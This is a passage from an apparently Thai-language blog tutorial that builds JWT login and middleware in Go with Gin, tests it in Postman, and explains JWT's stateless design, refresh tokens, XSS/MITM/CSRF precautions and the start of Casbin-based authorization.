	// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; token &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; claims
	claims := jwt.MapClaims{
		&quot;username&quot;: username,
		&quot;exp&quot;:      time.Now().Add(72 * time.Hour).Unix(), // &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE2D;&#xE32;&#xE22;&#xE38; token 72 &#xE0A;&#xE31;&#xE48;&#xE27;&#xE42;&#xE21;&#xE07;
	}
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)

	// &#xE25;&#xE07;&#xE19;&#xE32;&#xE21; token &#xE14;&#xE49;&#xE27;&#xE22; secret key
	tokenString, err := token.SignedString(jwtSecret)
	if err != nil {
		return &quot;&quot;, err
	}
	return tokenString, nil
}

// JWTAuthMiddleware &#xE40;&#xE1B;&#xE47;&#xE19; middleware &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; JWT &#xE43;&#xE19; Header &#xE02;&#xE2D;&#xE07; Request
func JWTAuthMiddleware() gin.HandlerFunc {
	return func(c *gin.Context) {
		// &#xE14;&#xE36;&#xE07;&#xE04;&#xE48;&#xE32; Authorization header
		authHeader := c.GetHeader(&quot;Authorization&quot;)
		if authHeader == &quot;&quot; {
			c.JSON(http.StatusUnauthorized, gin.H{&quot;error&quot;: &quot;Authorization header required&quot;})
			c.Abort()
			return
		}

		// &#xE04;&#xE32;&#xE14;&#xE27;&#xE48;&#xE32; header &#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; &quot;Bearer &lt;token&gt;&quot;
		var tokenString string
		if len(authHeader) &gt; 7 &amp;&amp; authHeader[:7] == &quot;Bearer &quot; {
			tokenString = authHeader[7:]
		} else {
			c.JSON(http.StatusUnauthorized, gin.H{&quot;error&quot;: &quot;Invalid Authorization header format&quot;})
			c.Abort()
			return
		}

		// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE25;&#xE30;&#xE41;&#xE1B;&#xE25;&#xE07; token
		token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
			// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE43;&#xE0A;&#xE49; Signing Method &#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;
			if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
				return nil, fmt.Errorf(&quot;unexpected signing method: %v&quot;, token.Header[&quot;alg&quot;])
			}
			return jwtSecret, nil
		})
		if err != nil || !token.Valid {
			c.JSON(http.StatusUnauthorized, gin.H{&quot;error&quot;: &quot;Invalid or expired token&quot;})
			c.Abort()
			return
		}

		// &#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; claims &#xE41;&#xE25;&#xE49;&#xE27;&#xE2A;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49; handler &#xE20;&#xE32;&#xE22;&#xE2B;&#xE25;&#xE31;&#xE07;
		if claims, ok := token.Claims.(jwt.MapClaims); ok {
			c.Set(&quot;username&quot;, claims[&quot;username&quot;])
		}
		c.Next()
	}
}

func main() {
	router := gin.Default()

	// Endpoint &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Login: &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Login &#xE1C;&#xE48;&#xE32;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE30;&#xE2D;&#xE2D;&#xE01; JWT &#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;
	router.POST(&quot;/login&quot;, func(c *gin.Context) {
		// &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Login (&#xE43;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;&#xE04;&#xE27;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;)
		var loginData struct {
			Username string `json:&quot;username&quot;`
			Password string `json:&quot;password&quot;`
		}
		if err := c.ShouldBindJSON(&amp;loginData); err != nil {
			c.JSON(http.StatusBadRequest, gin.H{&quot;error&quot;: &quot;Invalid request payload&quot;})
			return
		}

		// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07; username &#xE41;&#xE25;&#xE30; password (&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE48;&#xE32; static)
		if loginData.Username != &quot;nuttachot&quot; || loginData.Password != &quot;password&quot; {
			c.JSON(http.StatusUnauthorized, gin.H{&quot;error&quot;: &quot;Invalid credentials&quot;})
			return
		}

		// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; JWT &#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;
		token, err := generateToken(loginData.Username)
		if err != nil {
			c.JSON(http.StatusInternalServerError, gin.H{&quot;error&quot;: &quot;Failed to generate token&quot;})
			return
		}

		// &#xE2A;&#xE48;&#xE07; Token &#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE43;&#xE2B;&#xE49; Client
		c.JSON(http.StatusOK, gin.H{&quot;token&quot;: token})
	})

	// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Group &#xE02;&#xE2D;&#xE07; Endpoint &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; JWT
	protected := router.Group(&quot;/protected&quot;)
	protected.Use(JWTAuthMiddleware())
	{
		// Endpoint &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Authentication
		protected.GET(&quot;/profile&quot;, func(c *gin.Context) {
			// &#xE14;&#xE36;&#xE07; username &#xE08;&#xE32;&#xE01; context &#xE17;&#xE35;&#xE48;&#xE16;&#xE39;&#xE01;&#xE15;&#xE31;&#xE49;&#xE07;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; middleware
			username, _ := c.Get(&quot;username&quot;)
			c.JSON(http.StatusOK, gin.H{
				&quot;message&quot;: fmt.Sprintf(&quot;Welcome %s! You have accessed a protected endpoint.&quot;, username),
			})
		})
	}

	// &#xE23;&#xE31;&#xE19; Server &#xE17;&#xE35;&#xE48; port 8080
	router.Run(&quot;:8080&quot;)
}
</code></pre><h3 id="%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87-login-%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B9%83%E0%B8%8A%E0%B9%89%E0%B8%87%E0%B8%B2%E0%B8%99-jwt-%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99-postman">&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07; Login &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; JWT &#xE1C;&#xE48;&#xE32;&#xE19; Postman </h3><ul><li>&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; REST API &#xE14;&#xE49;&#xE27;&#xE22; Method <strong>POST</strong> &#xE17;&#xE35;&#xE48;&#xE40;&#xE2A;&#xE49;&#xE19; <code>http://localhost:8080/login</code> &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE2A;&#xE48;&#xE07; JSON &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>{
    &quot;username&quot;: &quot;nuttachot&quot;, 
    &quot;password&quot;: &quot;password&quot;
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/02/Screenshot-2568-02-04-at-08.08.05.png" class="kg-image" alt loading="lazy" width="2000" height="1483" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/Screenshot-2568-02-04-at-08.08.05.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/Screenshot-2568-02-04-at-08.08.05.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/02/Screenshot-2568-02-04-at-08.08.05.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/02/Screenshot-2568-02-04-at-08.08.05.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE2B;&#xE32;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07; &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE30;&#xE15;&#xE2D;&#xE1A;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19; JSON &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Token &#xE40;&#xE0A;&#xE48;&#xE19;</li></ul><pre><code>{
    &quot;token&quot;: &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mzg4OTAzMjIsInVzZXJuYW1lIjoibnV0dGFjaG90In0.0ywTRAdb5l1tuTefEteSgdleEd0suHGLkej6Z5-ZBaY&quot;
}</code></pre><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE19;&#xE33;&#xE44;&#xE1B; Decode &#xE17;&#xE35;&#xE48; <a href="https://jwt.io/?ref=blog.pjjop.org">https://jwt.io</a> &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE43;&#xE2A;&#xE48; Secret Key (<strong>your-secret-key</strong>) &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE40;&#xE2D;&#xE07;</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2025/02/Screenshot-2568-02-04-at-08.12.15.png" class="kg-image" alt loading="lazy" width="2000" height="1559" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/Screenshot-2568-02-04-at-08.12.15.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/Screenshot-2568-02-04-at-08.12.15.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/02/Screenshot-2568-02-04-at-08.12.15.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/02/Screenshot-2568-02-04-at-08.12.15.png 2400w" sizes="(min-width: 720px) 720px"><figcaption>https://jwt.io</figcaption></figure><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Request &#xE43;&#xE2B;&#xE21;&#xE48;&#xE14;&#xE49;&#xE27;&#xE22; Method <strong>GET </strong>&#xE17;&#xE35;&#xE48;&#xE40;&#xE2A;&#xE49;&#xE19; <code>http://localhost:8080/protected/profile</code> &#xE42;&#xE14;&#xE22;&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; Tab <code>Headers</code> &#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; header &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>Key : Authorization
Value : Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mzg4OTAzMjIsInVzZXJuYW1lIjoibnV0dGFjaG90In0.0ywTRAdb5l1tuTefEteSgdleEd0suHGLkej6Z5-ZBaY</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/02/Screenshot-2568-02-04-at-08.24.09.png" class="kg-image" alt loading="lazy" width="2000" height="1483" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/Screenshot-2568-02-04-at-08.24.09.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/Screenshot-2568-02-04-at-08.24.09.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/02/Screenshot-2568-02-04-at-08.24.09.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/02/Screenshot-2568-02-04-at-08.24.09.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>JWT &#xE40;&#xE1B;&#xE47;&#xE19; Stateless &#xE42;&#xE14;&#xE22;&#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE38;&#xE01;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Server &#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE08;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23; &#xE41;&#xE25;&#xE30;&#xE25;&#xE14;&#xE20;&#xE32;&#xE23;&#xE30;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Query &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE02;&#xE2D;&#xE07; Server &#xE41;&#xE04;&#xE48;&#xE21;&#xE35;&#xE01;&#xE38;&#xE0D;&#xE41;&#xE08;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE21;&#xE31;&#xE19;&#xE01;&#xE47;&#xE1E;&#xE2D; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE08;&#xE32;&#xE01;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE41;&#xE1A;&#xE1A;&#xE14;&#xE31;&#xE49;&#xE07;&#xE40;&#xE14;&#xE34;&#xE21; (Stateful) &#xE17;&#xE35;&#xE48; Server &#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Session &#xE44;&#xE27;&#xE49;</p><p>&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE1A;&#xE31;&#xE15;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE0A;&#xE32;&#xE0A;&#xE19;&#xE17;&#xE35;&#xE48;&#xE1A;&#xE2D;&#xE01;&#xE17;&#xE38;&#xE01;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE40;&#xE23;&#xE32; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE2B;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE07;&#xE32;&#xE19;&#xE23;&#xE31;&#xE10;&#xE17;&#xE35;&#xE48;&#xE15;&#xE34;&#xE14;&#xE15;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE07;&#xE48;&#xE32;&#xE22; &#xE23;&#xE27;&#xE14;&#xE40;&#xE23;&#xE47;&#xE27; &#xE41;&#xE25;&#xE30;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE01;&#xE31;&#xE1A; Distributed Architecture &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Server &#xE43;&#xE2B;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE07;&#xE27;&#xE25;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Sync &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Session</p><p>&#xE02;&#xE49;&#xE2D;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07; JWT &#xE04;&#xE37;&#xE2D; &#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01;&#xE22;&#xE32;&#xE01; JWT &#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE16;&#xE39;&#xE01;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE1A;&#xE19; Server &#xE16;&#xE49;&#xE32; JWT &#xE16;&#xE39;&#xE01;&#xE02;&#xE42;&#xE21;&#xE22; &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE14;&#xE49;&#xE08;&#xE19;&#xE2B;&#xE21;&#xE14;&#xE2D;&#xE32;&#xE22;&#xE38; </p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE20;&#xE41;&#xE01;&#xE49;&#xE44;&#xE14;&#xE49;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Blacklist &#xE41;&#xE15;&#xE48;&#xE01;&#xE47;&#xE08;&#xE30;&#xE02;&#xE31;&#xE14;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23; Stateless &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE43;&#xE0A;&#xE49; Refresh Token &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Token &#xE1E;&#xE34;&#xE40;&#xE28;&#xE29;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE32;&#xE22;&#xE38;&#xE22;&#xE32;&#xE27; (&#xE40;&#xE0A;&#xE48;&#xE19; 7 &#xE27;&#xE31;&#xE19;) &#xE21;&#xE31;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19; String &#xE22;&#xE32;&#xE27; &#xE46; &#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE48;&#xE21;&#xE02;&#xE36;&#xE49;&#xE19;&#xE21;&#xE32; &#xE42;&#xE14;&#xE22;&#xE2D;&#xE2D;&#xE01;&#xE43;&#xE2B;&#xE49;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE1A; JWT &#xE15;&#xE2D;&#xE19; Login &#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE22;&#xE38;&#xE2A;&#xE31;&#xE49;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32; (&#xE40;&#xE0A;&#xE48;&#xE19; 15 &#xE19;&#xE32;&#xE17;&#xE35;)</p><p>&#xE21;&#xE31;&#xE19;&#xE21;&#xE35;&#xE44;&#xE27;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE02;&#xE2D; JWT &#xE43;&#xE2B;&#xE21;&#xE48;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; JWT &#xE40;&#xE14;&#xE34;&#xE21;&#xE2B;&#xE21;&#xE14;&#xE2D;&#xE32;&#xE22;&#xE38; &#xE42;&#xE14;&#xE22;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE23;&#xE2D;&#xE01;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE25;&#xE30;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE0B;&#xE49;&#xE33;</p><h2 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%AB%E0%B8%A7%E0%B9%88%E0%B9%83%E0%B8%99%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%83%E0%B8%8A%E0%B9%89-jwt"><strong>&#xE01;&#xE32;&#xE23;&#xE0A;&#xE48;&#xE2D;&#xE07;&#xE42;&#xE2B;&#xE27;&#xE48;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; JWT</strong></h2><p><strong><strong>Cross-Site Scripting (XSS)</strong></strong></p><p>JWT &#xE40;&#xE2A;&#xE35;&#xE48;&#xE22;&#xE07;&#xE01;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Cookie &#xE16;&#xE49;&#xE32;&#xE40;&#xE23;&#xE32;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE43;&#xE19; localStorage &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35; HttpOnly &#xE0A;&#xE48;&#xE27;&#xE22; &#xE40;&#xE23;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE01;&#xE47;&#xE1A; JWT &#xE43;&#xE19; Cookie &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19; XSS<strong> </strong>&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; <code>HttpOnly</code><br></p><p><strong><strong>Man-in-the-Middle Attack (MITM)</strong></strong></p><p>JWT &#xE41;&#xE25;&#xE30; Cookie &#xE15;&#xE49;&#xE2D;&#xE07;&#xE1E;&#xE36;&#xE48;&#xE07; HTTPS &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE19; &#xE41;&#xE15;&#xE48; JWT &#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE14;&#xE35;&#xE17;&#xE35;&#xE48;&#xE41;&#xE21;&#xE49;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE02;&#xE42;&#xE21;&#xE22;&#xE44;&#xE14;&#xE49;&#xE41;&#xE15;&#xE48;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;</p><p><strong><strong>Cross-Site Request Forgery (CSRF)</strong></strong></p><p>JWT &#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE14;&#xE35;&#xE01;&#xE27;&#xE48;&#xE32;&#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE49; Cookie &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34; &#xE41;&#xE15;&#xE48;&#xE16;&#xE49;&#xE32;&#xE43;&#xE0A;&#xE49; Cookie &#xE01;&#xE47;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1E;&#xE36;&#xE48;&#xE07; <code>SameSite</code> &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE19;</p><h2 id="%E0%B9%81%E0%B8%99%E0%B8%A7%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%83%E0%B8%8A%E0%B9%89%E0%B8%87%E0%B8%B2%E0%B8%99-jwt-%E0%B8%AA%E0%B8%B3%E0%B8%AB%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%97%E0%B8%B3-authentication-%E0%B9%81%E0%B8%A5%E0%B8%B0-casbin-%E0%B8%AA%E0%B8%B3%E0%B8%AB%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%97%E0%B8%B3-authorization-rbac-%E0%B9%83%E0%B8%99%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A-auth-service">&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; <strong>JWT</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Authentication &#xE41;&#xE25;&#xE30; <strong>Casbin</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Authorization (RBAC) &#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A; Auth Service</h2><ul><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49; Login &#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08; &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; JWT &#xE0B;&#xE36;&#xE48;&#xE07;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Token &#xE08;&#xE30;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; username &#xE41;&#xE25;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE2B;&#xE21;&#xE14;&#xE2D;&#xE32;&#xE22;&#xE38; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01; Endpoint &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23; <strong>Authentication</strong> &#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07; JWT &#xE43;&#xE19; Header (Authorization: Bearer <code>JWT</code>) &#xE21;&#xE32;&#xE22;&#xE31;&#xE07; Backend</li><li>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Valid &#xE41;&#xE25;&#xE30; Expired &#xE02;&#xE2D;&#xE07; JWT &#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Casbin &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; Resource 